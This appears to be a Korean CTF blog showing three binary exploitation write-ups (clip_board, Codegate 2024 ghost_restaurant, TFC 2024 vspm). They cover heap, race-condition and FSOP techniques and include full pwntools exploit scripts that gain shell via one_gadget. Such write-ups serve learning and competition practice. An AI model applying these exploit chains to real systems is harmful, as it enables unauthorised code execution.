문제는 next인데, glibc 버전에 따라 다르겠지만 2.35의 경우 포인터 마스킹 또는 포인터 암호화 기법이 적용되어서 다음 연산을 하고 저장한다.

// Encryption
entry->next = (tcache_entry *) ((uintptr_t) next ^ (uintptr_t) tcache);

// Decryption
tcache_entry *next = (tcache_entry *) ((uintptr_t) e->next ^ (uintptr_t) tcache);

여기에서 tcache 값은 tcache_perthread_struct의 주소라고 하는데… 실제 메모리와 다른 것 같아서 2.35 glibc 소스코드를 elixir에서 찾아보았는데 뭔가 안맞는 것 같아 확인이 필요하다.

아무튼 실제 xor 연산이 되는 tcache 값은 heap base 주소를 12bit right shift한 0x555555559으로, next가 null이어야 하는 0x555555559470 chunk를 보면 알 수 있다. 따라서 _IO_list_all의 주소인 0x7ffff7fa5680에 0x555555559를 xor한 결과를 0x555555559440 chunk의 next 위치에 쓰면 다음과 같이 tcache bin이 구성된다.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x7ffff7fa5680, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  [Corrupted chunk at 0x7ffff7fa5680]

_IO_list_all의 주소 0x7ffff7fa5680 8바이트 앞에 위치한 0이 size로 인식되어 corrupted chunk로 출력되지만 다행히 malloc() 시 size 검증을 하지 않아 0x7ffff7fa5680를 반환받는데에 성공했다.

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))

이렇게 payload를 실행하면 목적했던 _IO_list_all에 생성한 new_fd의 주소가 담기게 된다.

gef➤  x/gx 0x7ffff7fa5680
0x7ffff7fa5680 <_IO_list_all>:  0x0000555555559770

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "clip_board"
LIBRARY = "libc.so.6"
CONTAINER = "69049f0398fe"
code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x16FD
}

gs = f'''
gef config gef.bruteforce_main_arena True
b *0x7ffff7e1e8e0
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def add_clipboard(s, index, size, contents, fin=0):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(str(size).encode())
    s.recvuntil(b"> ")
    s.send(contents)
    if fin:
        return
    else:
        return s.recvuntil(b"\n> ")

def del_clipboard(s, index):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def view_clipboard(s, index):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def exit_clipboard(s):
    s.sendline(b"4")
    return

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    heap = int(s.recvuntil(b"> ").split(b'\n')[0].split(b': ')[1], 16) & 0xfffffffffffff000
    log.info(f"heap : {hex(heap)}")
    
    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)
    
    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))
    
    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

    log.info(f"&stdout : 0x555555558020")
    log.info(f"IO_list_all : {hex(io_list_all)}")
    log.info(f"IO_list_all -> 0x7ffff7fab6a0")
    log.info(f"original_stdout : 0x7ffff7fab780")
    log.info(f"wide_data : {hex(wide_data)}")
    log.info(f"io_wfile_jumps : {hex(io_wfile_jumps)}")
    log.info(f"anywhere_rw : {hex(anywhere_rw)}")
    log.info(f"wide_vtable : {hex(wide_vtable)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # trigger _IO_flush_all_lockp
    exit_clipboard(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)

Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)

2024-08-28T00:00:00+00:00

0x00. Introduction

[*] '/home/user/ghost_restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct food {
    char name[0x40];
    long cook_time;
    long left_time;
}

이 외에도 사용되는 구조체가 몇개 있지만 문제 풀이에 중요한 구조체만 정리하였다.

Concept

oven을 생성해서 선택하면 cook_1928 쓰레드가 생성되어 food를 insert하거나 remove할 수 있다.

insert 시 입력한 cook_time만큼의 시간이 지나면 food가 완성된다. 이 때 시간을 감소시키고 시간이 다 지났는지 확인하는 과정은 start_routine_16B1 쓰레드를 통해 이루어진다.

0x01. Vulnerability

Information Leak

cook_time이 다 되어서든, remove를 해서든 food가 삭제될 때 다음과 같은 로직을 통해 메모리가 변경된다.

printf("Select food to remove in '%s':\n", oven->name);
__isoc99_scanf("%d", &tmp);
for ( i = tmp; i < food_count; ++i )
{
  food_next = food[i + 1];
  food_cur = food[i];
  memcpy(food_cur, food_next, 0x50);
}

이 때 food가 꽉 찼을 때도 food[i + 1]에서 데이터를 복사하므로 food 구조체 다음 영역에 중요한 데이터가 있다면 leak이 가능하다.

Race Condition

food의 남은 시간을 체크하는 start_routine_16B1의 코드를 보면,

void __fastcall __noreturn start_routine_16B1(struct argument *a1)
{
  ...
  while ( 1 )
  {
    if ( *(__int64 *)arg->count > 0 )
    {
      for ( i = 0; i < *(_QWORD *)arg->count; ++i )
      {
        if ( arg->food[i].left_time > 0 )
        {
          food_tmp = &arg->food[i];
          if ( !--food_tmp->left_time )
          {
            printf("'%s' is ready!\n", arg->food[i].name);
            ...
            for ( j = i; j < *(_QWORD *)arg->count; ++j )
            {
              food_next = &arg->food[j + 1];
              food_cur = &arg->food[j];
              memcpy(food_cur, food_next, 0x50);
            }
            --*(_QWORD *)arg->count;
          }
        }
      }
    }
    sleep(1u);
  }
}

left_time이 0이 됐을 때 해당 food 구조체 이후의 구조체들을 한 칸씩 앞으로 땡겨주고 food_count를 감소시킨다.

이 외에 다른 방법으로도 food를 제거할 수 있는데 cook_1928의 코드를 보면,

void *__fastcall cook_1928(struct oven *a1)
{
  ...
  while ( 1 )
  {
    pthread_mutex_lock((pthread_mutex_t *)oven->mutex);
    while ( !LODWORD(oven->ready) )
      pthread_cond_wait((pthread_cond_t *)oven->cond, (pthread_mutex_t *)oven->mutex);
    ...
    __isoc99_scanf("%d", &choice);
    ...
    if ( choice == 2 )
    {
      printf("Select food to remove in '%s':\n", oven->name);
      ...
      __isoc99_scanf("%d", &tmp);
      if ( (int)tmp <= (__int64)__readfsqword(0xFFFFFE90) && (int)tmp > 0 )
      {
        LODWORD(tmp) = tmp - 1;
        for ( m = tmp; m < (__int64)__readfsqword(0xFFFFFE90); ++m )
        {
          food_cur = (struct food *)(__readfsqword(0) + 0x50LL * m - 0x160);
          food_next = (struct food *)(__readfsqword(0) + 0x50LL * (m + 1) - 0x160);
          memcpy(food_cur, food_next, 0x50);
        }
        __writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);
        goto LABEL_39;
      }
LABEL_19:
      puts("Invalid choice.");
      pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
    }
LABEL_39:
    pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
  }
  ...
}

현재 들어가있는 food의 목록을 출력해주고 tmp에 제거할 food의 인덱스를 받아서 삭제한 후 26번 라인의 __writefsqword()를 통해 food_count 값을 감소시킨다.

여기에서 발생하는 취약점은 start_routine_16B1에서 시간이 다 됐을 때 food_count를 감소시키는 코드가 critical section으로 관리되지 않는다. 따라서 cook_1928의 remove 로직과 동시에 실행될 수 있기 때문에 race condition이 발생한다.

`cook_1928`	`start_routine_16B1`
`if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 )`
	`food_next = &arg->food[j + 1];`
`food_cur = (__readfsqword(0) + 0x50LL * m - 0x160);`
	`food_cur = &arg->food[j];`
`food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160);`
	`memcpy(food_cur, food_next, 0x50);`
`memcpy(food_cur, food_next, 0x50);`
	`--(_QWORD )arg->count;`
`__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);`

위와 같은 방식으로 race condition이 발생하게 된다면 insert를 한번 했더라도 값의 감소가 두번 이루어져 food_count에 underflow가 발생할 수 있다.

0x02. Exploit

Information Leak

food[0]을 기준으로 food의 사이즈인 0x50씩 메모리를 출력하다보면 다음 영역을 확인할 수 있다.

gef➤
0x7ffff7da56a0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56b0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56c0: 0x00007ffff7da56c0      0x000055555555a960
0x7ffff7da56d0: 0x00007ffff7da56c0      0x0000000000000001
0x7ffff7da56e0: 0x0000000000000000      0x3ce1f8458248c000

food[4]에 해당하는 영역에 위와 같이 TLS(Thread Local Storage), heap 영역에 대한 주소와 이 문제에서 필요하지는 않지만 canary 값이 저장되어있다. food는 최대 4개까지 insert할 수 있으므로 food[0]~food[3]까지 생성했다가 food[0]을 remove를 하면 food[4]의 데이터를 food[3]에 복사한다. 이런 식으로 food[0]을 4번 remove하면 food[4] 영역의 데이터가 food[0]~food[3]에 복사가 된다.

참고로 0x7ffff7da56c0에 저장된 0x7ffff7da56c0가 TLS 주소로, __readfsqword(0)를 실행했을 때 반환되는 값이다. 이 값이 다른 값으로 바뀌게 되면 __readfsqword(0)의 결과가 바뀐 값으로 반환되어 주의해야 한다.

printf("Foods in '%s':\n", oven->name);
for ( i = 0; i < (__int64)__readfsqword(0xFFFFFE90); ++i )
  printf(
    "%d. %s (cooking for %lld seconds, %lld seconds left)\n",
    (unsigned int)(i + 1),
    (const char *)(80LL * i + __readfsqword(0) - 0x160),  // name; 0x00007ffff7d864e0
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x120),   // cook_time
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x118));  // left_time

food.name의 출력을 %s로 해주기 때문에 중간에 있는 \x00들을 채워주어야 한다. 이 조건은 name선택 시 고를 수 있는 hidden choice를 하면 호출되는 read()를 통해 해결할 수 있다.

if ( food_choice == 4 )     // hidden
{
  pthread_mutex_lock(&prompt_mutex_5100);
  printf("Enter food name for spacial food: ");
  read(0, (void *)(__readfsqword(0) - 0x160 + 0x50 * __readfsqword(0xFFFFFE90)), 0x40uLL);  // name; 0x00007ffff7d864e0
  pthread_mutex_unlock(&prompt_mutex_5100);
}

따라서 다음과 같이 payload를 작성했다.

    create_oven(s, b"1111")
    select_oven(s, b"1")

    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

이 때 TLS의 위치가 libc의 바로 위 영역에 할당되므로 offset을 계산하면 libc base도 획득할 수 있다.

Race Condition

Race condition을 트리거하기 위한 sleep time을 구하기 위해 brute force를 수행하는 payload를 작성했다.

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        # code for information leak

        insert_food(s, b"1", 1)
        sleep_time = 0.95 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

실질적으로는 information leak을 수행한 후에 race condition을 트리거하므로 같은 상황을 만들어주기 위해 information leak을 위한 payload도 중간에 작성해야 정확한 time을 구할 수 있다.

트리거 성공 시 food_count가 -1이 되고 이 때 insert를 하면 food[-1]에 데이터를 쓸 수 있게된다.

food[-1]     :  0x00007ffff7da5510 -> name[0x40]
                0x00007ffff7da5520
                0x00007ffff7da5530
                0x00007ffff7da5540
food_count   :  0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0]      :  0x00007ffff7da5560 -> name[0x40]
                0x00007ffff7da5570
                0x00007ffff7da5580
                0x00007ffff7da5590
                0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
                0x00007ffff7da55b0
                ...
TLS          :  0x00007ffff7da56c0
                ...
LIBC         :  0x00007ffff7da9000

이 때 입력하는 cook_time이 food_count 위치에 쓰여지기 때문에 cook_time을 60으로 입력하면 food_count가 60인 것으로 인식되어 food를 60개 출력해준다. 따라서 트리거 성공 여부를 출력되는 food의 개수로 판단하게끔 payload를 작성했다.

➜  python3 exploit.py -p 8798 -d 0 -b 1
success : 0.981
success : 0.9814
success : 0.9816

그 결과 적당한 sleep time을 구할 수 있었다. 다만 여러 번 실행하면 메모리 이슈 때문인지 time window가 조금씩 밀리는 모양이다.

RIP Control

Race condition을 트리거한 후 gdb에서 info threads를 통해 쓰레드 정보를 확인해보면 다음과 같다.

gef➤  info threads
  Id   Target Id          Frame
  1    LWP 974101 "chall" 0x00007ffff7e41d61 in ?? () from ./lib/x86_64-linux-gnu/libc.so.6
* 2    LWP 974149 "chall" 0x0000555555555e51 in ?? ()
  3    LWP 974150 "chall" 0x00007ffff7e95adf in clock_nanosleep () from ./lib/x86_64-linux-gnu/libc.so.6

이 중 3번 쓰레드가 start_routine_16B1이 실행되는 쓰레드로, thread 3 명령을 통해 context를 switch해보면,

[#0] 0x7ffff7e95adf → clock_nanosleep()
[#1] 0x7ffff7ea2a27 → nanosleep()
[#2] 0x7ffff7eb7c63 → sleep()
[#3] 0x555555555923 → jmp 0x5555555556d9
[#4] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#5] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffff75a3c20
gef➤  vmmap 0x7ffff75a3c20
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff6da5000 0x00007ffff75a5000 0x0000000000000000 rw-

위와 같이 매 초마다 left_time을 감소시키고 food가 완성되었는지 확인하기 위해서 clock_nanosleep()을 실행하고 있다.

또한 앞서 leak한 TLS와는 다른 TLS 영역을 할당받아 stack으로 활용하고 있다.

Call stack을 보면 sleep() -> nanosleep() -> clock_nanosleep() 순으로 호출이 되었는데, 무언가 overwrite를 하기 위해서라면 호출 주기가 긴 sleep()을 타겟으로 디버깅을 하다보면,

 → 0x7ffff7eb7c84 <sleep+100>      ret
──────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x7ffff7e41d61 in ?? (), reason: SINGLE STEP
[#1] Id 2, Name: "chall", stopped 0x7ffff7ec4a9a in read (), reason: SINGLE STEP
[#2] Id 3, Name: "chall", stopped 0x7ffff7eb7c84 in sleep (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7eb7c84 → sleep()
[#1] 0x555555555923 → jmp 0x5555555556d9
[#2] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#3] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx $rsp
0x7ffff75a3ce8: 0x0000555555555923

이렇게 sleep()이 ret를 하는 순간이 오고 이 때 rsp는 0x7ffff75a3ce8를 가리키고 있다. 이 주소는 앞서 leak한 0x7ffff7da56c0와 다른 TLS 영역의 주소이긴 하지만, TLS 사이의 offset이 일정하게 할당이 되어 offset을 계산해주면 해당 영역에 접근할 수 있다.

원본 문제는 shadow stack이 적용되어있으나 여기에서는 shadow stack이 없는 환경이기 때문에 이 return address를 덮어서 RIP control이 가능하다.

Race condition 트리거에 성공하면 food_count가 -1이 되고, 이로 인해 food[-1].cook_time이 food_count의 위치에 쓰이면서 큰 값을 갖게 된다. 따라서 index를 적절히 이용하면 다음과 같이 thread 3에서 호출되는 sleep()의 return address에 값을 쓰는 것이 가능하다.

    insert_food(s, b"1", 1)
    sleep(0.9813)
    remove_food(s, b"1")
    
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))

    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

마침 활용할 수 있는 one shot 가젯이 있어서 one shot 가젯의 주소로 덮어주었다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "2206a2d4bc57"

code_base = 0x0000555555554000
bp = {
    'cook' : code_base + 0x1928,
    'dec_count_cook' : code_base + 0x21F9,
    'read_insert_cook' : code_base + 0x1E51,
    'remove_cook' : code_base + 0x1F9D,
    'go_back_cook' : code_base + 0x221A,
    'ret_print_oven' : code_base + 0x16B0,
}

gs = f'''
continue
b *{bp['dec_count_cook']}
b *{bp['read_insert_cook']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_oven(s, name):
    s.sendline(b"0")
    s.recvuntil(b"name: ")
    s.sendline(name)
    return s.recvuntil(b"option: ")

def select_oven(s, number):
    s.sendline(number)
    return s.recvuntil(b"option: ")

def insert_food(s, number, time, name=""):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(number)
    s.recvuntil(b"(seconds): ")
    s.sendline(str(time).encode())
    if number == b"5":
        s.recvuntil(b"food: ")
        s.send(name)
    return s.recvuntil(b"option: ")

def remove_food(s, number):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(number)
    return s.recvuntil(b"option: ")

def go_back(s):
    s.sendline(b"3")
    return s.recvuntil(b"option: ")

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        for _ in range(4):
            insert_food(s, b"1", 12345)
        for _ in range(4):
            remove_food(s, b"1")
        insert_food(s, b"5", 12345, b"A" * 0x20)
        r = insert_food(s, b"5", 12345, b"B" * 0x28)
        tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
        libc = tls + 0x3940
        heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
        remove_food(s, b"1")
        remove_food(s, b"1")

        insert_food(s, b"1", 1)
        sleep_time = 0.98 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

def main(port, debug, brute_force):
    if(brute_force):
        brute_force_time(port)
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"option: ")
    create_oven(s, b"1111")
    select_oven(s, b"1")

    # information leak
    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

    # trigger race condition
    insert_food(s, b"1", 1)
    sleep(0.9814)
    remove_food(s, b"1")
    
    # overwrite food_count
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))
    
    # overwrite ret of sleep() in thread 3
    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    parser.add_argument('-b', '--brute_force', type=int, default=0)
    args = parser.parse_args()
    main(args.port, args.debug, args.brute_force)

TFC CTF 2024 - vspm

2024-08-21T00:00:00+00:00

0x00. Introduction

[*] '/home/user/vspm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

Structure

struct password {
    char *credential;
    char name[0x20];
}

위와 같이 구성된 구조체를 최대 code_base + 0x4060 영역에 10개까지 저장할 수 있다.

0x01. Vulnerability

unsigned __int64 save_12EE()
{
  ...
  __isoc99_scanf("%d", &len);
  getchar();
  if ( len >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  printf("Name of the credentials: ");
  read(0, password_4060[i].name, (len + 1));
  ...
}

password를 저장하는 save()에서 credential의 사이즈 len을 입력받고, len + 1만큼 read를 한다. 그런데 고정된 길이(0x20)의 name도 len + 1만큼 read를 하기 때문에 다음 password 구조체의 credential을 overwrite할 수 있다.

credential에서도 len + 1만큼 값을 쓸 수 있기 때문에 다음 chunk의 header 첫 바이트를 overwrite할 수는 있지만 prev_size를 바꿔서 exploit으로 이어갈 아이디어가 떠오르지 않았다.

0x02. Exploit

Exploit을 진행하기에 앞서 보호기법을 확인해보면 code, stack, libc 모든 영역이 변동되는 상태이다. 따라서 현재 가지고 있는 credential overwrite 취약점을 가지고 최소 한 영역의 memory leak을 해야겠다는 생각이 들었다.

Libc Leak

Heap에서 활용할 수 있는 memory leak 테크닉 중 unsorted bin을 이용한 main_arena leak이 많이 사용된다. main_arena는 libc 영역이기 때문에 offset 계산만 해주면 libc base를 획득할 수 있다.

문제는 크기가 0x80 이상인 chunk를 free시켜야 unsorted bin에 추가되는데 입력할 수 있는 len은 0x79가 최대이다. Heap의 chunk들이 차례대로 쌓이고, 주소에서 0xXXXXXXXXXXXXX000 부분만 변동되므로 fake chunk를 구성하고 credential overwrite 취약점을 이용하여 다음 password 구조체의 credential이 fake chunk를 가리키게 할 수 있다.

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

먼저 0000, 4444, top chunk의 offset 차이를 고려해서 chunk들을 배치한다.

처음에는 0000, 4444의 offset 차이만 고려하면 되는 줄 알았는데, top chunk와도 offset 차이가 맞아야 fake chunk의 free가 성공한다.

# first password structure
gef➤  x/5gx 0x555555558060
0x555555558060: 0x000055555555d010      0x0000000030303030
0x555555558070: 0x0000000000000000      0x0000000000000000
0x555555558080: 0x0000000000000000
# first fake chunk header
gef➤  x/2gx 0x000055555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
# second fake chunk header
gef➤  x/2gx 0x000055555555d010 + 0x110
0x55555555d120: 0x0000000000000000      0x0000000000000111
# top chunk
gef➤  x/2gx 0x000055555555d010 + 0x220
0x55555555d230: 0x0000000000000000      0x0000000000020dd1

이제 2222의 credential이 fake chunk를 가리키게 만들기 위해 다음과 같이 payload를 작성했다.

    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin

1111을 이용해서 2222의 credential이 0x55555555d020을 가리키게 만들면 0x55555555d010에 넣은 값이 chunk header가 된다. 이제 2222를 free하면 0x100짜리 chunk를 free한 것으로 되어 unsorted bin으로 이동한다.

────────────────────────── Unsorted Bin for arena at 0x7ffff7dd0b60 ──────────────────────────
[+] unsorted_bins[0]: fw=0x55555555d010, bk=0x55555555d010
 →   Chunk(addr=0x55555555d020, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
gef➤  x/4gx 0x55555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
0x55555555d020: 0x00007ffff7dd0bc0      0x00007ffff7dd0bc0

이 과정에서 free된 chunk의 fd, bk에 main_arena 주소가 쓰여진다. 이후 malloc으로 해당 영역을 반환받아도 메모리를 초기화하지 않기 때문에 check()를 통해 leak이 가능하다.

다행히 0x100보다 작은 chunk를 요청해도 unsorted bin을 분할해서 할당해주기 때문에 대충 0x30짜리 chunk를 요청했다.

    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")

이 때 입력한 \xc0은 디버거로 확인한 main_arena의 첫 바이트인데 어차피 offset을 계산하면 되기 때문에 맞춰줄 필요는 없지만 입력을 아예 주지 않을 수는 없기 때문에 맞춰주었다.

Stack Leak

Libc leak을 성공했으니 credential overwrite와 check()를 이용하여 libc의 모든 영역을 출력할 수 있다. Libc 영역 중 environ 변수에 stack 주소가 저장되어있으므로 이를 이용해 stack leak을 진행하였다.

    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

먼저 0000을 free하고 1111의 credential이 environ을 가리키도록 overwrite한다.

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

1111이 environ을 가리키고 있고 check()에서 credential 정보를 출력해주는 것을 이용해서 environ에 저장된 stack 주소를 획득할 수 있다.

Fastbin Dup into Stack

앞서 credential overwrite 취약점을 이용해서 credential이 fake chunk를 가리키게 한 것과 비슷하게 다른 credential을 가리키게 해서 double free 취약점을 트리거할 수 있다.

